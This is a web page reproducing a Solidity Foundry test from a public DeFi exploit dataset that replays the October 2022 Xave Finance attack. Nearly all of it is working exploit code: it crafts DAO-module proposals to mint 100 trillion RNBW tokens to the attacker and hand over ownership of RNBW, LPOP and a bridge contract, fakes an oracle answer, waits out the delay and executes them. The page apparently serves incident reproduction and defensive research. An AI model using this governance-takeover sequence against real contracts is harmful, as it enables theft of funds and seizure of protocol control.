Public reproduction file

src/test/2022-10/XaveFinance_exp.sol

Public reproduction file for dataset entry Xave Finance.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-10/XaveFinance_exp.sol219 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : 100,000,000,000,000 RNBW
8// Attacker : 0x0f44f3489D17e42ab13A6beb76E57813081fc1E2
9// Attack Contract : 0xE167cdAAc8718b90c03Cf2CB75DC976E24EE86D3
10// Vulnerable Contract : https://etherscan.io/address/0x8f9036732b9aa9b82D8F35e54B71faeb2f573E2F
11// Attack Tx : https://etherscan.io/tx/0xc18ec2eb7d41638d9982281e766945d0428aaeda6211b4ccb6626ea7cff31f4a
12 
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x8f9036732b9aa9b82D8F35e54B71faeb2f573E2F#code
15 
16// @Analysis
17// Article post mortem Xave Finance : https://medium.com/xave-finance/post-mortem-safenap-dao-module-bug-505958e9c716
18// Article Andrei Simion : https://gist.github.com/andreiashu/da5909a7230ff67a8c3b4018a9717276
19// Twitter BeosinAlert : https://twitter.com/BeosinAlert/status/1579040051853303808
20// Twitter Ancilia : https://twitter.com/AnciliaInc/status/1578952542926491650
21 
22contract Enum {
23    enum Operation {
24        Call,
25        DelegateCall
26    }
27}
28 
29interface IDaoModule {
30    function getTransactionHash(
31        address to,
32        uint256 value,
33        bytes memory data,
34        Enum.Operation operation,
35        uint256 nonce
36    ) external view returns (bytes32);
37 
38    function executeProposalWithIndex(
39        string memory proposalId,
40        bytes32[] memory txHashes,
41        address to,
42        uint256 value,
43        bytes memory data,
44        Enum.Operation operation,
45        uint256 txIndex
46    ) external;
47 
48    function addProposal(string memory proposalId, bytes32[] memory txHashes) external;
49 
50    function buildQuestion(string memory proposalId, bytes32[] memory txHashes) external pure returns (string memory);
51 
52    function questionIds(
53        bytes32
54    ) external returns (bytes32);
55}
56 
57interface IRealitio {
58    function submitAnswer(bytes32 question_id, bytes32 answer, uint256 max_previous) external payable;
59}
60 
61interface IPrimaryBridge {
62    function owner() external view returns (address);
63}
64 
65contract XaveFinanceExploit is Test {
66    IERC20 constant RNBW_TOKEN = IERC20(0xE94B97b6b43639E238c851A7e693F50033EfD75C);
67    IERC20 constant LPOP_TOKEN = IERC20(0x6335A2E4a2E304401fcA4Fc0deafF066B813D055);
68    IPrimaryBridge constant PRIMARY_BRIDGE = IPrimaryBridge(0x579270F151D142eb8BdC081043a983307Aa15786);
69    IDaoModule constant DAO_MODULE = IDaoModule(0x8f9036732b9aa9b82D8F35e54B71faeb2f573E2F);
70    IRealitio constant REALITIO = IRealitio(0x325a2e0F3CCA2ddbaeBB4DfC38Df8D19ca165b47);
71    address constant ATTACKER_EOA = 0x0f44f3489D17e42ab13A6beb76E57813081fc1E2;
72    address constant ATTACKER_CONTRACT = 0xE167cdAAc8718b90c03Cf2CB75DC976E24EE86D3;
73 
74    function setUp() public {
75        vm.createSelectFork("mainnet", 15_704_736);
76        // Adding labels to improve stack traces' readability
77        vm.label(address(RNBW_TOKEN), "RNBW_TOKEN");
78        vm.label(address(LPOP_TOKEN), "LPOP_TOKEN");
79        vm.label(address(PRIMARY_BRIDGE), "PRIMARY_BRIDGE");
80        vm.label(address(DAO_MODULE), "DAO_MODULE");
81        vm.label(address(REALITIO), "REALITIO");
82        vm.label(ATTACKER_EOA, "ATTACKER_EOA");
83        vm.label(ATTACKER_CONTRACT, "ATTACKER_CONTRACT");
84        vm.label(0x7eaE370E6a76407C3955A2f0BBCA853C38e6454E, "XAVE_GNOSIS_SAFE_MULTISIG");
85    }
86 
87    function encodeWithSignature_mint(address to, uint256 amount) internal pure returns (bytes memory) {
88        return abi.encodeWithSignature("mint(address,uint256)", to, amount);
89    }
90 
91    function encodeWithSignature_transferOwnership(
92        address to
93    ) internal pure returns (bytes memory) {
94        return abi.encodeWithSignature("transferOwnership(address)", to);
95    }
96 
97    function testAttack() public {
98        // tx to mint 100,000,000,000,000 RNBW tokens
99        bytes32 tx0 = DAO_MODULE.getTransactionHash(
100            address(RNBW_TOKEN),
101            0,
102            encodeWithSignature_mint(ATTACKER_EOA, 100_000_000_000_000_000_000_000_000_000_000),
103            //hex"40c10f190000000000000000000000000f44f3489d17e42ab13a6beb76e57813081fc1e200000000000000000000000000000000000004ee2d6d415b85acef8100000000",
104            Enum.Operation(0),
105            0
106        );
107 
108        // tx to transferOwnership() to ATTACKER_EOA (0x0f44f3489D17e42ab13A6beb76E57813081fc1E2)
109        bytes32 tx1 = DAO_MODULE.getTransactionHash(
110            address(RNBW_TOKEN),
111            0,
112            encodeWithSignature_transferOwnership(ATTACKER_EOA),
113            //hex"f2fde38b0000000000000000000000000f44f3489d17e42ab13a6beb76e57813081fc1e2",
114            Enum.Operation(0),
115            1
116        );
117 
118        // tx to transferOwnership() to ATTACKER_EOA (0x0f44f3489D17e42ab13A6beb76E57813081fc1E2)
119        bytes32 tx2 = DAO_MODULE.getTransactionHash(
120            address(LPOP_TOKEN),
121            0,
122            encodeWithSignature_transferOwnership(ATTACKER_EOA),
123            //hex"f2fde38b0000000000000000000000000f44f3489d17e42ab13a6beb76e57813081fc1e2",
124            Enum.Operation(0),
125            2
126        );
127 
128        // tx to transferOwnership() to ATTACKER_EOA (0x0f44f3489D17e42ab13A6beb76E57813081fc1E2)
129        bytes32 tx3 = DAO_MODULE.getTransactionHash(
130            address(PRIMARY_BRIDGE),
131            0,
132            encodeWithSignature_transferOwnership(ATTACKER_EOA),
133            //hex"f2fde38b0000000000000000000000000f44f3489d17e42ab13a6beb76e57813081fc1e2",
134            Enum.Operation(0),
135            3
136        );
137 
138        // the txIDs generated using getTransactionHash()
139        bytes32[] memory txIDs = new bytes32[](4);
140        txIDs[0] = tx0;
141        txIDs[1] = tx1;
142        txIDs[2] = tx2;
143        txIDs[3] = tx3;
144 
145        DAO_MODULE.addProposal("2", txIDs);
146        string memory q = DAO_MODULE.buildQuestion("2", txIDs);
147        bytes32 qID = DAO_MODULE.questionIds(keccak256(bytes(q)));
148        REALITIO.submitAnswer{value: 1}(qID, bytes32(uint256(1)), 0);
149 
150        vm.warp(block.timestamp + 24 * 60 * 60);
151 
152        emit log_named_address("[Before proposal Execution] Owner of $RNBW: ", RNBW_TOKEN.owner());
153        emit log_named_address("[Before proposal Execution] Owner of $LPOP: ", LPOP_TOKEN.owner());
154        emit log_named_address("[Before proposal Execution] Owner of PrimaryBridge: ", PRIMARY_BRIDGE.owner());
155        emit log_named_decimal_uint(
156            "[Before proposal Execution] Attacker's $RNBW Token Balance: ", RNBW_TOKEN.balanceOf(ATTACKER_EOA), 18
157        );
158 
159        vm.startPrank(ATTACKER_CONTRACT);
160 
161        // Execute mint 100,000,000,000,000 RNBW tokens
162        DAO_MODULE.executeProposalWithIndex(
163            "2",
164            txIDs,
165            address(RNBW_TOKEN),
166            0,
167            encodeWithSignature_mint(ATTACKER_EOA, 100_000_000_000_000_000_000_000_000_000_000),
168            //hex"40c10f190000000000000000000000000f44f3489d17e42ab13a6beb76e57813081fc1e200000000000000000000000000000000000004ee2d6d415b85acef8100000000",
169            Enum.Operation(0),
170            0
171        );
172 
173        // Execute transferOwnership() to ATTACKER_EOA (0x0f44f3489D17e42ab13A6beb76E57813081fc1E2)
174        DAO_MODULE.executeProposalWithIndex(
175            "2",
176            txIDs,
177            address(RNBW_TOKEN),
178            0,
179            encodeWithSignature_transferOwnership(ATTACKER_EOA),
180            //hex"f2fde38b0000000000000000000000000f44f3489d17e42ab13a6beb76e57813081fc1e2",
181            Enum.Operation(0),
182            1
183        );
184 
185        // Execute transferOwnership() to ATTACKER_EOA (0x0f44f3489D17e42ab13A6beb76E57813081fc1E2)
186        DAO_MODULE.executeProposalWithIndex(
187            "2",
188            txIDs,
189            address(LPOP_TOKEN),
190            0,
191            encodeWithSignature_transferOwnership(ATTACKER_EOA),
192            //hex"f2fde38b0000000000000000000000000f44f3489d17e42ab13a6beb76e57813081fc1e2",
193            Enum.Operation(0),
194            2
195        );
196 
197        // Execute transferOwnership() to ATTACKER_EOA (0x0f44f3489D17e42ab13A6beb76E57813081fc1E2)
198        DAO_MODULE.executeProposalWithIndex(
199            "2",
200            txIDs,
201            address(PRIMARY_BRIDGE),
202            0,
203            encodeWithSignature_transferOwnership(ATTACKER_EOA),
204            //hex"f2fde38b0000000000000000000000000f44f3489d17e42ab13a6beb76e57813081fc1e2",
205            Enum.Operation(0),
206            3
207        );
208 
209        vm.stopPrank();
210 
211        emit log_string("--------------------------------------------------------------");
212        emit log_named_address("[After proposal Execution] Owner of $RNBW: ", RNBW_TOKEN.owner());
213        emit log_named_address("[After proposal Execution] Owner of $LPOP: ", LPOP_TOKEN.owner());
214        emit log_named_address("[After proposal Execution] Owner of PrimaryBridge: ", PRIMARY_BRIDGE.owner());
215        emit log_named_decimal_uint(
216            "[After proposal Execution] Attacker's $RNBW Token Balance: ", RNBW_TOKEN.balanceOf(ATTACKER_EOA), 18
217        );
218    }
219}

Analysis

Dataset entry

Public Foundry test for “Xave Finance” (2022-10-09). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

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src/test/2022-10/MulticallWithoutCheck_exp.solSame month in the dataset · 46 lines
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src/test/2022-10/PLTD_exp.solSame month in the dataset · 67 lines
src/test/2022-10/RabbyWallet_SwapRouter_exp.solSame month in the dataset · 148 lines
src/test/2022-10/RES_exp.solSame month in the dataset · 181 lines
src/test/2022-10/RL_exp.solSame month in the dataset · 128 lines
src/test/2022-10/TeamFinance_exp.solSame month in the dataset · 274 lines
src/test/2022-10/Templedao_exp.solSame month in the dataset · 66 lines
src/test/2022-10/TransitSwap_exp.solSame month in the dataset · 70 lines
src/test/2022-10/Uerii_exp.solSame month in the dataset · 96 lines
src/test/2022-10/ULME_exp.solSame month in the dataset · 258 lines
src/test/2022-10/VTF_exp.solSame month in the dataset · 114 lines

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0x0f44f3489d17e42ab13a6beb76e57813081fc1e2
Attack Contract
0xe167cdaac8718b90c03cf2cb75dc976e24ee86d3
Vulnerable Contract
0x8f9036732b9aa9b82d8f35e54b71faeb2f573e2f

Attack Tx
0xc18ec2eb7d41638d9982281e766945d0428aaeda6211b4ccb6626ea7cff31f4a

File record

Name: Xave Finance
Path: src/test/2022-10/XaveFinance_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 69489a8dc54cbd44f8485b46dcc3bb9d534c7e13
Language: Solidity
Size: 220 lines
Date: 2022-10-09
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2022-10/XaveFinance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 69489a8dc54cbd44f8485b46dcc3bb9d534c7e13, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.